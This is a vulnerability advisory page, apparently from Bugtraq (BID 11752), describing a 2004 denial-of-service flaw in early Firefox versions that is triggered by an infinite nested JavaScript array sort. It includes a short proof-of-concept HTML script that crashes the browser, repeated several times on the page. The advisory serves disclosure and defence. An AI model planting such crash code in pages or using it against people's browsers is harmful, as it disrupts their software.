Mozilla Firefox Infinite Array Sort Denial Of Service Vulnerability
BID:11752
Info
Mozilla Firefox Infinite Array Sort Denial Of Service Vulnerability
| Bugtraq ID: | 11752 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 25 2004 12:00AM |
| Updated: | Nov 25 2004 12:00AM |
| Credit: | Discovery is credited to Berend-Jan Wever. |
| Vulnerable: |
Mozilla Firefox 0.10.1 Mozilla Firefox 0.10 Mozilla Firefox 0.9.3 Mozilla Firefox 0.9.2 Mozilla Firefox 0.9.1 Mozilla Firefox 0.9 rc Mozilla Firefox 0.9 Mozilla Firefox 0.8 Mozilla Firefox Preview Release |
| Not Vulnerable: | |
Discussion
Mozilla Firefox Infinite Array Sort Denial Of Service Vulnerability
Mozilla Firefox is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.
It is not known if other Mozilla products or Gecko-based browsers are affected by this vulnerability.
Mozilla Firefox is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.
It is not known if other Mozilla products or Gecko-based browsers are affected by this vulnerability.
Exploit / POC
Mozilla Firefox Infinite Array Sort Denial Of Service Vulnerability
The following example will cause the browser to crash:
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
The following example will cause the browser to crash:
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
Solution / Fix
Mozilla Firefox Infinite Array Sort Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Mozilla Firefox Infinite Array Sort Denial Of Service Vulnerability
References:
References:
- FIREFOX flaws: nested array sort() loop Stack overflow exception ("Berend-Jan Wever"
)